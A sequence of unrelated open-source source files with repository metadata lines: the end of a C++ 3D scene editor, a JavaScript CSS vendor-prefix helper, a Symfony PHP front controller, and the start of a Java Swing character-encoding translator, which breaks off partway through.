writable->setColor( Scene::Material::Diffuse, Rgba( 0.5f, 1.0f, 0.25f ) );
writable->setLightingModel( Scene::LightingModel::Ambient );
}
Scene::MaterialHandle blue = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
blue.asset().setName( "Blue.material" );
Assets::WriteLock<Scene::Material> writable = blue.writeLock();
writable->setTexture( Scene::Material::Diffuse, checker );
writable->setColor( Scene::Material::Diffuse, Rgba( 0.25f, 0.5f, 1.0f ) );
writable->setLightingModel( Scene::LightingModel::Phong );
}
#if ENABLE_MESHES
m_project->assets().forceLoad( mesh );
m_project->assets().forceLoad( diffuse );
m_project->assets().forceLoad( stone );
#endif
m_project->assets().forceLoad( dflt );
m_project->assets().forceLoad( red );
m_project->assets().forceLoad( green );
m_project->assets().forceLoad( blue );
m_project->assets().forceLoad( white );
m_project->assets().forceLoad( ground );
m_project->assets().forceLoad( box );
m_project->assets().forceLoad( sphere );
m_project->assets().forceLoad( torus );
m_project->assets().forceLoad( checker );
Scene::VertexFormat vertexFormats[] = {
Scene::VertexFormat( Scene::VertexFormat::Position | Scene::VertexFormat::Color | Scene::VertexFormat::Normal )
, Scene::VertexFormat( Scene::VertexFormat::Position | Scene::VertexFormat::Normal )
, Scene::VertexFormat( Scene::VertexFormat::Position | Scene::VertexFormat::Color )
};
Scene::MaterialHandle materials[] = {
red
, green
, blue
};
Scene::MeshHandle meshes[] = {
box
, sphere
, torus
};
//{
// Scene::SceneObjectPtr light = scene->createSceneObject();
// light->attach<Scene::Transform>( 10, 5, 10, Scene::TransformWPtr() );
// light->attach<Scene::Light>( Scene::LightType::Point, Rgb( 0.0f, 1.0f, 0.0f ), 5.0f, 15.0f );
// scene->addSceneObject( light );
//}
//{
// Scene::SceneObjectPtr light = scene->createSceneObject();
// light->attach<Scene::Transform>( -5, 1, -5, Scene::TransformWPtr() );
// light->attach<Scene::Light>( Scene::LightType::Spot, Rgb( 1.0f, 0.0f, 0.0f ), 50.0f, 25.0f )->setCutoff( 20.0f );
// light->get<Scene::Light>()->setCastsShadows( true );
// light->attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 1.0f, 0.0f ) ) );
// scene->addSceneObject( light );
//}
//{
// Scene::SceneObjectPtr light = scene->createSceneObject();
// light->attach<Scene::Transform>( 10, 1, 10, Scene::TransformWPtr() );
// light->attach<Scene::Light>( Scene::LightType::Spot, Rgb( 0.0f, 1.0f, 0.0f ), 50.0f, 25.0f )->setCutoff( 20.0f );
// light->get<Scene::Light>()->setCastsShadows( true );
// light->attach<Scene::RotateAroundAxes>( 10.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 1.0f, 0.0f ) ) );
// scene->addSceneObject( light );
//}
//{
// Scene::SceneObjectPtr light = scene->createSceneObject();
// light->attach<Scene::Transform>( 5, 1, 5, Scene::TransformWPtr() );
// light->attach<Scene::Light>( Scene::LightType::Spot, Rgb( 0.0f, 0.0f, 1.0f ), 50.0f, 25.0f )->setCutoff( 20.0f );
// light->get<Scene::Light>()->setCastsShadows( true );
// light->attach<Scene::RotateAroundAxes>( 15.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 1.0f, 0.0f ) ) );
// scene->addSceneObject( light );
//}
{
Scene::SceneObjectPtr light = scene->createSceneObject();
Scene::Transform* transform = light->attach<Scene::Transform>();
transform->setRotation( Quat::rotateAroundAxis( 70.0f, Vec3::axisY() ) * Quat::rotateAroundAxis( -25.0f, Vec3::axisX() ) );
light->attach<Scene::Light>( Scene::LightType::Directional, Rgb( 0.5f, 0.5f, 0.5f ), 5.0f, 15.0f );
light->get<Scene::Light>()->setCastsShadows( true );
// light->attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 1.0f, 0.0f, 0.0f ) ) );
scene->addSceneObject( light );
}
{
Scene::SceneObjectPtr msh = scene->createSceneObject();
msh->attach<Scene::Transform>( 0, 0, 0, Scene::TransformWPtr() );
msh->attach<Scene::StaticMesh>( ground )->setMaterial( 0, dflt );
scene->addSceneObject( msh );
}
{
Scene::SceneObjectPtr cam = scene->createSceneObject();
cam->attach<Scene::Transform>( 10, 10, 10, Scene::TransformWPtr() )->setRotation( Quat::rotateAroundAxis( 0.0f, Vec3::axisY() ) * Quat::rotateAroundAxis( -25.0f, Vec3::axisX() ) );
cam->attach<Scene::Viewport>( viewport() );
Scene::Camera* camera = cam->attach<Scene::Camera>( Scene::Projection::Perspective );
camera->setFov( 20.0f );
camera->setNear( 0.1f );
camera->setFar( 10.0f );
cam->attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 1.0f, 0.0f ) ) );
scene->addSceneObject( cam );
}
//{
// Scene::SceneObjectPtr msh = scene->createSceneObject();
// msh->attach<Scene::Transform>( 20, 0, 20, Scene::TransformWPtr() );
// msh->attach<Scene::StaticMesh>( box )->setMaterial( 0, additive );
// scene->addSceneObject( msh );
//}
#if ENABLE_MESHES
for( s32 i = -meshCount / 2; i < meshCount / 2; i++ )
{
for( s32 j = -meshCount / 2; j < meshCount / 2; j++ )
{
Scene::SceneObjectPtr msh = scene->createSceneObject();
msh->attach<Scene::Transform>( i * 15, 0, j * 15, Scene::TransformWPtr() );
msh->attach<Scene::StaticMesh>( mesh )->setMaterial( 0, stone );
scene->addSceneObject( msh );
}
}
#endif
{
Scene::SceneObjectPtr sprite = scene->createSceneObject();
sprite->attach<Scene::Transform>( 250, 200, 0, Scene::TransformWPtr() );
sprite->attach<Scene::Sprite>( 200, 200, dflt );
sprite->attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 1.0f, 0.0f, 0.0f ) ) );
scene->addSceneObject( sprite );
}
{
Scene::SceneObjectPtr sprite = scene->createSceneObject();
sprite->attach<Scene::Transform>( 500, 100, 0, Scene::TransformWPtr() );
sprite->attach<Scene::Sprite>( 200, 200, dflt );
// sprite->attach<TestMover>();
scene->addSceneObject( sprite );
}
{
Scene::SceneObjectPtr sprite = scene->createSceneObject();
sprite->attach<Scene::Transform>( 250, 200, 0, Scene::TransformWPtr() );
sprite->attach<Scene::Sprite>( 200, 250, dflt );
sprite->attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 1.0f, 0.0f ) ) );
scene->addSceneObject( sprite );
}
for( s32 i = -pointCloudCount / 2; i < pointCloudCount / 2; i++ )
{
for( s32 j = -pointCloudCount / 2; j < pointCloudCount / 2; j++ )
{
Scene::SceneObjectPtr p1 = scene->createSceneObject();
p1->attach<Scene::Transform>( i * 3, 0, j * 3, Scene::TransformWPtr() );
Scene::PointCloud* pointCloud = p1->attach<Scene::PointCloud>( points, vertexFormats[c++ % 3] );
pointCloud->setMaterial( materials[c % 3] );
void* vertices = pointCloud->vertices();
const Scene::VertexFormat& vertexFormat = pointCloud->vertexFormat();
for( s32 i = 0, n = pointCloud->vertexCount(); i < n; i++ ) {
Vec3 position = Vec3::randomInSphere( Vec3::zero(), 1.0f );
u32 color = Rgba( 0.0f, 0.6f, 0.2f, 1.0f ).toInteger();
vertexFormat.setVertexAttribute( Scene::VertexFormat::Position, position, vertices, i );
vertexFormat.setVertexAttribute( Scene::VertexFormat::Normal, Vec3::normalize( position ), vertices, i );
vertexFormat.setVertexAttribute( Scene::VertexFormat::Color, color, vertices, i );
}
scene->addSceneObject( p1 );
}
}
for( s32 i = -boxCount / 2; i < boxCount / 2; i++ )
{
for( s32 j = -boxCount / 2; j < boxCount / 2; j++ )
{
Scene::SceneObjectPtr msh = scene->createSceneObject();
msh->attach<Scene::Transform>( i * 3, 1, j * 3, Scene::TransformWPtr() );
msh->attach<Scene::StaticMesh>( meshes[c++ % 3] )->setMaterial( 0, /*materials[c++ % 3]*/blue );
scene->addSceneObject( msh );
}
}
#if 0
Scene::ImageHandle diffuse = m_project->assets().find<Scene::Image>( "cea54b49010a442db381be76" );
NIMBLE_BREAK_IF( !diffuse.isValid() );
struct MaterialGenerator : public Assets::GeneratorSource<Scene::Material> {
MaterialGenerator( Scene::ImageHandle diffuse ) : m_diffuse( diffuse ) {}
virtual bool generate( Assets::Assets& assets, Scene::Material& material ) DC_DECL_OVERRIDE
{
material.setTexture( Scene::Material::Diffuse, m_diffuse );
material.setRenderingMode( static_cast<Scene::RenderingMode>( rand() % Scene::TotalRenderModes ) );
//material.setRenderingMode( static_cast<Scene::RenderingMode>( rand() % 3 ) );
//material.setColor( Scene::Material::Diffuse, material.color( Scene::Material::Diffuse ).darker( 3.0f ) );
//material.setTexture( Scene::Material::AmbientOcclusion, m_diffuse );
//material.setTexture( Scene::Material::Emission, m_diffuse );
//material.setColor( Scene::Material::Emission, Rgba( 1.0f, 0.0f, 0.0f ) );
switch( material.renderingMode() ) {
case Scene::RenderTranslucent: material.setColor( Scene::Material::Diffuse, Rgba( 1.0f, 1.0f, 1.0f, 0.25f ) );
material.setTwoSided( true );
break;
case Scene::RenderAdditive: material.setColor( Scene::Material::Diffuse, Rgba( 0.3f, 0.3f, 0.0f ) );
material.setTwoSided( true );
break;
case Scene::RenderCutout: //material.setColor( Scene::Material::Diffuse, Rgba( 0.0f, 0.5f, 0.0f ) );
break;
case Scene::RenderOpaque: //material.setColor( Scene::Material::Diffuse, Rgba( 0.5f, 0.0f, 0.0f ) );
break;
}
return true;
}
virtual u32 lastModified( void ) const DC_DECL_OVERRIDE
{
return 0;
}
Scene::ImageHandle m_diffuse;
};
Array<Scene::MaterialHandle> materials;
for( s32 i = 0; i < 16; i++ ) {
materials.push_back( m_project->assets().add<Scene::Material>( Guid::generate().toString(), new MaterialGenerator( diffuse ) ) );
materials.back().asset().setName( "GeneratedMaterial" + toString( i ) );
}
#if DEV_PROFILE_RVM_CPU
s32 count = 125;
#else
s32 count = 16;
#endif
f32 offset = 5.25f;
for( s32 i = 0; i < count; i++ ) {
for( s32 j = 0; j < count; j++ ) {
Scene::SceneObjectPtr mesh = scene->createSceneObject();
mesh->attach<Scene::Transform>( i * offset, 0.0f, j * offset, Scene::TransformWPtr() )->setScale( Vec3( 1.0f, 1.0f, 1.0f ) * 0.5f );
mesh->get<Scene::Transform>()->setRotationY( rand0to1() * 360.0f );
Scene::StaticMesh* staticMesh = mesh->attach<Scene::StaticMesh>( m_project->assets().find<Scene::Mesh>( "eb7a422262cd5fda10121b47" ) );
staticMesh->setMaterial( 0, randomItem( materials ) );
scene->addSceneObject( mesh );
}
}
{
Scene::SceneObjectPtr light = scene->createSceneObject();
light->attach<Scene::Transform>( 9.0f, 4.0f, 9.0f, Scene::TransformWPtr() );
light->attach<Scene::Light>( Scene::LightType::Point, Rgb( 1.0f, 0.0f, 0.0f ), 5.0f, 10.0f );
scene->addSceneObject( light );
}
//{
// Scene::SceneObjectPtr light = scene->createSceneObject();
// light->attach<Scene::Transform>( 0.0f, 2.0f, 0.0f, Scene::TransformWPtr() );
// light->attach<Scene::Light>( Scene::Light::Point, Rgb( 0.0f, 1.0f, 0.0f ), 5.0f, 10.0f );
// scene->addSceneObject( light );
//}
#endif
#endif
return scene;
// LogError( "sceneEditor", "scene deserialization is not implemented\n" );
// return Scene::Scene::create();
}
// ** SceneEditor::navigateToObject
void SceneEditor::navigateToObject( Scene::SceneObjectWPtr sceneObject )
{
// Remove the previous component
if( m_camera->has<Scene::MoveTo>() ) {
m_camera->detach<Scene::MoveTo>();
}
// Get the mesh bounding box
Bounds bounds = sceneObject->get<Scene::StaticMesh>()->worldSpaceBounds();
// Get camera transform
Scene::Transform* transform = m_camera->get<Scene::Transform>();
// Calculate new camera position by subtracting
// the view direction from scene object position
Vec3 position = bounds.center() + transform->axisZ() * max3( bounds.width(), bounds.height(), bounds.depth() ) + 1.0f;
// Attach the moving component
m_camera->attach<Scene::MoveTo>( new Scene::Vec3Binding( position ), false, Scene::MoveTo::Smooth, 16.0f );
}
// ** SceneEditor::notifyEnterForeground
void SceneEditor::notifyEnterForeground( Ui::MainWindowQPtr window )
{
// Create the tool bar
NIMBLE_BREAK_IF( m_tools );
m_tools = window->addToolBar();
m_tools->beginActionGroup();
{
m_tools->addAction( "Select", BindAction( SceneEditor::menuTransformSelect ), "", ":Scene/Scene/cursor.png", Ui::ItemCheckable | Ui::ItemChecked );
m_tools->addAction( "Translate", BindAction( SceneEditor::menuTransformTranslate ), "", ":Scene/Scene/move.png", Ui::ItemCheckable );
m_tools->addAction( "Rotate", BindAction( SceneEditor::menuTransformRotate ), "", ":Scene/Scene/rotate.png", Ui::ItemCheckable );
m_tools->addAction( "Scale", BindAction( SceneEditor::menuTransformScale ), "", ":Scene/Scene/scale.png", Ui::ItemCheckable );
m_tools->addSeparator();
m_tools->addWidget( new QComboBox );
m_tools->addSeparator();
m_tools->addWidget( new QComboBox );
m_tools->addSeparator();
m_tools->addAction( "Raise Terrain", BindAction( SceneEditor::menuTerrainRaise ), "", ":Scene/Scene/magnet.png", Ui::ItemCheckable | Ui::ItemChecked )->setChecked( false );
m_tools->addAction( "Lower Terrain", BindAction( SceneEditor::menuTerrainLower ), "", ":Scene/Scene/magnet.png", Ui::ItemCheckable );
m_tools->addAction( "Level Terrain", BindAction( SceneEditor::menuTerrainLevel ), "", ":Scene/Scene/magnet.png", Ui::ItemCheckable );
m_tools->addAction( "Flatten Terrain", BindAction( SceneEditor::menuTerrainFlatten ), "", ":Scene/Scene/magnet.png", Ui::ItemCheckable );
m_tools->addAction( "Smooth Terrain", BindAction( SceneEditor::menuTerrainSmooth ), "", ":Scene/Scene/magnet.png", Ui::ItemCheckable );
}
m_tools->endActionGroup();
// Set this model
window->sceneTree()->setModel( m_sceneModel.get() );
// Subscribe for event
connect( window->sceneTree(), SIGNAL(sceneObjectDoubleClicked(Scene::SceneObjectWPtr)), this, SLOT(navigateToObject(Scene::SceneObjectWPtr)) );
}
// ** SceneEditor::notifyEnterBackground
void SceneEditor::notifyEnterBackground( Ui::MainWindowQPtr window )
{
// Remove tool bar
window->removeToolBar( m_tools );
m_tools = Ui::ToolBarQPtr();
// Set empty model
window->sceneTree()->setModel( NULL );
// Unsubscribe for event
disconnect( window->sceneTree(), SIGNAL(sceneObjectDoubleClicked(Scene::SceneObjectWPtr)), this, SLOT(navigateToObject(Scene::SceneObjectWPtr)) );
}
// ** SceneEditor::menuTransformSelect
void SceneEditor::menuTransformSelect( Ui::ActionQPtr action )
{
setTool( NoTool );
}
// ** SceneEditor::menuTransformTranslate
void SceneEditor::menuTransformTranslate( Ui::ActionQPtr action )
{
setTool( ToolTranslate );
}
// ** SceneEditor::menuTransformRotate
void SceneEditor::menuTransformRotate( Ui::ActionQPtr action )
{
setTool( ToolRotate );
}
// ** SceneEditor::menuTransformScale
void SceneEditor::menuTransformScale( Ui::ActionQPtr action )
{
setTool( ToolScale );
}
// ** SceneEditor::menuTerrainRaise
void SceneEditor::menuTerrainRaise( Ui::ActionQPtr action )
{
setTool( ToolRaiseTerrain );
m_terrainTool->get<TerrainTool>()->setType( TerrainTool::Raise );
}
// ** SceneEditor::menuTerrainLower
void SceneEditor::menuTerrainLower( Ui::ActionQPtr action )
{
setTool( ToolLowerTerrain );
m_terrainTool->get<TerrainTool>()->setType( TerrainTool::Lower );
}
// ** SceneEditor::menuTerrainFlatten
void SceneEditor::menuTerrainFlatten( Ui::ActionQPtr action )
{
setTool( ToolFlattenTerrain );
m_terrainTool->get<TerrainTool>()->setType( TerrainTool::Flatten );
}
// ** SceneEditor::menuTerrainLevel
void SceneEditor::menuTerrainLevel( Ui::ActionQPtr action )
{
setTool( ToolLevelTerrain );
m_terrainTool->get<TerrainTool>()->setType( TerrainTool::Level );
}
// ** SceneEditor::menuTerrainSmooth
void SceneEditor::menuTerrainSmooth( Ui::ActionQPtr action )
{
setTool( ToolSmoothTerrain );
m_terrainTool->get<TerrainTool>()->setType( TerrainTool::Smooth );
}
// ** SceneEditor::handleMousePress
void SceneEditor::handleMousePress( s32 x, s32 y, const Ui::MouseButtons& buttons )
{
VisualEditor::handleMousePress( x, y, buttons );
if( buttons & Ui::MouseButtons::Right ) {
m_camera->enable<Scene::RotateAroundAxes>();
m_camera->enable<Scene::MoveAlongAxes>();
}
}
// ** SceneEditor::handleMouseRelease
void SceneEditor::handleMouseRelease( s32 x, s32 y, const Ui::MouseButtons& buttons )
{
VisualEditor::handleMouseRelease( x, y, buttons );
if( buttons & Ui::MouseButtons::Right ) {
m_camera->disable<Scene::RotateAroundAxes>();
m_camera->disable<Scene::MoveAlongAxes>();
}
else if( buttons & Ui::MouseButtons::Left ) {
// Get the scene object underneath the mouse cursor
Scene::SceneObjectWPtr target = findSceneObjectAtPoint( x, y );
// Select it
selectSceneObject( target );
}
}
// ** SceneEditor::handleMouseMove
void SceneEditor::handleMouseMove( s32 x, s32 y, s32 dx, s32 dy, const Ui::MouseButtons& buttons )
{
// Run the base class method to update the cursor
VisualEditor::handleMouseMove( x, y, dx, dy, buttons );
// Update cursor movement
m_cursorMovement->set( Vec3( -dy, -dx, 0 ) );
}
// ** SceneEditor::handleMouseWheel
void SceneEditor::handleMouseWheel( s32 delta )
{
Scene::Transform* transform = m_camera->get<Scene::Transform>();
transform->setPosition( transform->position() - transform->axisZ() * delta * 0.01f );
}
// ** SceneEditor::handleDragEnter
bool SceneEditor::handleDragEnter( MimeDataQPtr mime )
{
return mime->hasFormat( QString::fromStdString( Composer::kAssetMime ) );
}
// ** SceneEditor::handleDragMove
void SceneEditor::handleDragMove( MimeDataQPtr mime, s32 x, s32 y )
{
// Get the scene object underneath the mouse cursor
Scene::SceneObjectWPtr target = findSceneObjectAtPoint( x, y );
// Highlight it
highlightSceneObject( target );
}
// ** SceneEditor::handleDrop
void SceneEditor::handleDrop( MimeDataQPtr mime, s32 x, s32 y )
{
// Get the scene object underneath the mouse cursor
Scene::SceneObjectWPtr target = findSceneObjectAtPoint( x, y );
// Extract assets from MIME data
Assets::AssetSet assets = qComposer->assetsFromMime( mime );
// Get camera transform
Scene::Transform* transform = m_camera->get<Scene::Transform>();
// Get the asset action
SceneModel::AssetAction action = m_sceneModel->acceptableAssetAction( assets, target, transform->position() + constructViewRay( x, y ).direction() * 5.0f );
if( action ) {
m_sceneModel->performAssetAction( action );
}
// Reset the highlight indicator
highlightSceneObject( Scene::SceneObjectWPtr() );
}
// ** SceneEditor::highlightSceneObject
void SceneEditor::highlightSceneObject( Scene::SceneObjectWPtr sceneObject )
{
// This object is already highlighted - skip
if( sceneObject == m_activeSceneObject ) {
return;
}
// Only one scene object can be highlighted at a time
if( m_activeSceneObject.valid() ) {
m_activeSceneObject->get<SceneEditorInternal>()->setHighlighted( false );
}
// Store this object
m_activeSceneObject = sceneObject;
// Mark it as highlighted
if( m_activeSceneObject.valid() ) {
m_activeSceneObject->get<SceneEditorInternal>()->setHighlighted( true );
}
}
// ** SceneEditor::selectSceneObject
void SceneEditor::selectSceneObject( Scene::SceneObjectWPtr sceneObject )
{
// This object is already selected - skip
if( sceneObject == m_selectedSceneObject ) {
return;
}
// Only one scene object can be selected at a time
if( m_selectedSceneObject.valid() ) {
// Remove the selected flag
m_selectedSceneObject->get<SceneEditorInternal>()->setSelected( false );
// Ensure the deselected object has no gizmos
bindTransformGizmo( m_selectedSceneObject, NoTool );
}
// Store this object
m_selectedSceneObject = sceneObject;
// Nothing selected - just return
if( !m_selectedSceneObject.valid() ) {
return;
}
// Add the selected flag
m_selectedSceneObject->get<SceneEditorInternal>()->setSelected( true );
// Bind the gizmo for an active transformation tool
bindTransformGizmo( m_selectedSceneObject, m_activeTool );
// Bind to an entity inspector
Ui::EntityInspectorQPtr inspector = qMainWindow->inspector();
inspector->bind( m_selectedSceneObject );
}
// ** SceneEditor::findSceneObjectAtPoint
Scene::SceneObjectWPtr SceneEditor::findSceneObjectAtPoint( s32 x, s32 y ) const
{
// Query scene object by ray
Scene::Spatial::Results sceneObjects = m_scene->spatial()->queryRay( constructViewRay( x, y ) );
// Get the hit scene object.
Scene::SceneObjectWPtr target = !sceneObjects.empty() ? sceneObjects[0].sceneObject : Scene::SceneObjectWPtr();
return target;
}
// ** SceneEditor::setTool
void SceneEditor::setTool( ActiveTool tool )
{
// This tool is already activated
if( tool == m_activeTool ) {
return;
}
// Set active tool
m_activeTool = tool;
// Bind the gizmo to selected object
if( m_selectedSceneObject.valid() ) {
bindTransformGizmo( m_selectedSceneObject, m_activeTool );
}
// Now the terrain tool
if( tool < ToolRaiseTerrain ) {
m_terrainTool->disable<TerrainTool>();
} else {
m_terrainTool->enable<TerrainTool>();
}
}
// ** SceneEditor::bindTransformGizmo
void SceneEditor::bindTransformGizmo( Scene::SceneObjectWPtr sceneObject, ActiveTool tool ) const
{
NIMBLE_BREAK_IF( !sceneObject.valid() );
// First remove all transform tool gizmos
if( sceneObject->has<TranslationTool>() ) sceneObject->detach<TranslationTool>();
if( sceneObject->has<RotationTool>() ) sceneObject->detach<RotationTool>();
if( sceneObject->has<ArcballRotationTool>() ) sceneObject->detach<ArcballRotationTool>();
// Now add the gizmo
switch( tool ) {
case ToolTranslate: sceneObject->attach<TranslationTool>();
break;
case ToolRotate: sceneObject->attach<ArcballRotationTool>();
sceneObject->attach<RotationTool>();
break;
}
}
} // namespace Editors
DC_END_COMPOSER
| dmsovetov/dreemchest | Source/Composer/Editors/SceneEditor.cpp | C++ | mit | 40,007 |
var style = document.createElement('p').style,
prefixes = 'O ms Moz webkit'.split(' '),
hasPrefix = /^(o|ms|moz|webkit)/,
upper = /([A-Z])/g,
memo = {};
function get(key) {
return (key in memo) ? memo[key] : memo[key] = prefix(key);
}
function prefix(key) {
var capitalizedKey = key.replace(/-([a-z])/g, function (s, match) {
return match.toUpperCase();
}),
i = prefixes.length,
name;
if (style[capitalizedKey] !== undefined) return capitalizedKey;
capitalizedKey = capitalize(key);
while (i--) {
name = prefixes[i] + capitalizedKey;
if (style[name] !== undefined) return name;
}
throw new Error('unable to prefix ' + key);
}
function capitalize(str) {
return str.charAt(0).toUpperCase() + str.slice(1);
}
function dashedPrefix(key) {
var prefixedKey = get(key),
upper = /([A-Z])/g;
if (upper.test(prefixedKey)) {
prefixedKey = (hasPrefix.test(prefixedKey) ? '-' : '') + prefixedKey.replace(upper, '-$1');
}
return prefixedKey.toLowerCase();
}
if (typeof module != 'undefined' && module.exports) {
module.exports = get;
module.exports.dash = dashedPrefix;
} else {
return get;
}
| unbug/generator-webappstarter | app/templates/app/src/lib/swing/vendor-prefix.js | JavaScript | mit | 1,162 |
<?php
use Symfony\Component\HttpFoundation\Request;
umask(0002);
/**
* @var Composer\Autoload\ClassLoader
*/
$loader = require __DIR__.'/../app/autoload.php';
include_once __DIR__.'/../var/bootstrap.php.cache';
// Enable APC for autoloading to improve performance.
// You should change the ApcClassLoader first argument to a unique prefix
// in order to prevent cache key conflicts with other applications
// also using APC.
/*
$apcLoader = new Symfony\Component\ClassLoader\ApcClassLoader(sha1(__FILE__), $loader);
$loader->unregister();
$apcLoader->register(true);
*/
$kernel = new AppKernel('prod', false);
$kernel->loadClassCache();
//$kernel = new AppCache($kernel);
// When using the HttpCache, you need to call the method in your front controller instead of relying on the configuration parameter
//Request::enableHttpMethodParameterOverride();
$request = Request::createFromGlobals();
$response = $kernel->handle($request);
$response->send();
$kernel->terminate($request, $response);
| alinilie/openfeedback | web/app.php | PHP | mit | 1,000 |
/*
* Copyright (c) 2010 Matthew Zipay <mattz@ninthtest.net>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
package net.ninthtest;
import java.awt.Container;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.beans.PropertyChangeEvent;
import java.beans.PropertyChangeListener;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.nio.charset.Charset;
import java.nio.charset.MalformedInputException;
import java.nio.charset.UnmappableCharacterException;
import java.text.MessageFormat;
import java.util.ResourceBundle;
import java.util.concurrent.ExecutionException;
import javax.swing.BoxLayout;
import javax.swing.DefaultComboBoxModel;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JComboBox;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.ProgressMonitorInputStream;
import javax.swing.SwingUtilities;
import javax.swing.SwingWorker;
import javax.swing.SwingWorker.StateValue;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;
import javax.swing.filechooser.FileNameExtensionFilter;
import net.ninthtest.nio.charset.CharsetTranslator;
import net.ninthtest.swing.util.DimensionHelper;
/**
* <code>CharacterEncodingTranslator</code> is a console and GUI front-end for
* {@link CharsetTranslator}.
*
* <p>
* <b>GUI usage:</b>
* </p>
*
* <pre>
* java[w] -jar cetrans.jar
* </pre>
*
* <p>
* <b>Console usage:</b>
* </p>
*
* <pre>
* java -jar cetrans.jar [-xmlcharref] source-filename source-encoding target-filename target-encoding
* </pre>
*
* @author mattz
* @version 2.0.1
*/
public class CharacterEncodingTranslator {
/** The command-line usage message. */
public static final String USAGE =
"CONSOLE USAGE:\n"
+ "\tjava -jar cetrans.jar [-xmlcharref] <source-filename>"
+ " <source-encoding> <target-filename> <target-encoding>\n"
+ "GUI USAGE:\n"
+ "\tjava[w] -jar cetrans.jar\n";
/** The current application SemVer version string. */
public static final String VERSION = "2.0.1";
private static final ResourceBundle RESOURCES =
ResourceBundle.getBundle("cetrans");
private static final int TEXT_SIZE = 59;
private static final String DEFAULT_TARGET_ENCODING = "UTF-8";
private final JTextField inTextField = new JTextField();
private final JButton inButton = new JButton();
private final JComboBox<String> inCharsets = new JComboBox<String>();
private final JButton translateButton = new JButton();
private final JCheckBox xmlCharRefPref = new JCheckBox();
private final JTextField outTextField = new JTextField();
private final JButton outButton = new JButton();
private final JComboBox<String> outCharsets = new JComboBox<String>();
private final JFileChooser fileChooser = new JFileChooser();
private final JMenuBar menuBar = new JMenuBar();
/**
* Builds the GUI components for the <i>Character Encoding Translator</i>
* application.
*/
public CharacterEncodingTranslator() {
JFrame frame = new JFrame(RESOURCES.getString("frame.title"));
initializeComponents();
doLayout(frame.getContentPane());
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocationByPlatform(true);
frame.setJMenuBar(menuBar);
frame.pack();
frame.setResizable(false);
frame.setVisible(true);
}
/*
* Configures the user interface Swing components.
*/
private void initializeComponents() {
FileNameExtensionFilter csvFilter = new FileNameExtensionFilter(
RESOURCES.getString("filter.description.csv"), "csv");
fileChooser.addChoosableFileFilter(csvFilter);
FileNameExtensionFilter txtFilter = new FileNameExtensionFilter(
RESOURCES.getString("filter.description.txt"), "txt");
fileChooser.addChoosableFileFilter(txtFilter);
fileChooser.setFileFilter(csvFilter);
inTextField.setColumns(TEXT_SIZE);
inButton.setText(RESOURCES.getString("button.text.open"));
inButton.setMnemonic(KeyEvent.VK_O);
inButton.addActionListener(new ActionListener() {
@SuppressWarnings("synthetic-access")
@Override
public void actionPerformed(ActionEvent event) {
if (JFileChooser.APPROVE_OPTION
== fileChooser.showOpenDialog(inTextField)) {
inTextField.setText(
fileChooser.getSelectedFile().getAbsolutePath());
}
}
});
final String[] availableCharsets =
Charset.availableCharsets().keySet().toArray(new String[0]);
inCharsets.setModel(
new DefaultComboBoxModel<String>(availableCharsets));
inCharsets.setName("inCharsets");
inCharsets.setSelectedItem(Charset.defaultCharset().name());
inCharsets.setEditable(false);
translateButton.setText(RESOURCES.getString("button.text.translate"));
translateButton.setName("translateButton");
translateButton.addActionListener(new ActionListener() {
@SuppressWarnings("synthetic-access")
@Override
public void actionPerformed(ActionEvent event) {
if (event.getSource() == translateButton) {
final File inFile = new File(inTextField.getText());
final File outFile = new File(outTextField.getText());
if (filesAreAcceptable(inFile, outFile)) {
final String inEncoding =
(String) inCharsets.getSelectedItem();
final String outEncoding =
(String) outCharsets.getSelectedItem();
try {
translate(
inFile, inEncoding, outFile, outEncoding);
} catch (IOException ex) {
JOptionPane.showMessageDialog(
translateButton, ex.getLocalizedMessage(),
ex.getClass().getName(),
JOptionPane.ERROR_MESSAGE);
}
}
}
}
});
xmlCharRefPref.setText(
RESOURCES.getString("checkbox.text.use_xml_charref"));
xmlCharRefPref.setName("xmlCharRefPref");
outTextField.setColumns(TEXT_SIZE);
outButton.setText(RESOURCES.getString("button.text.save"));
outButton.setMnemonic(KeyEvent.VK_S);
outButton.addActionListener(new ActionListener() {
@SuppressWarnings("synthetic-access")
@Override
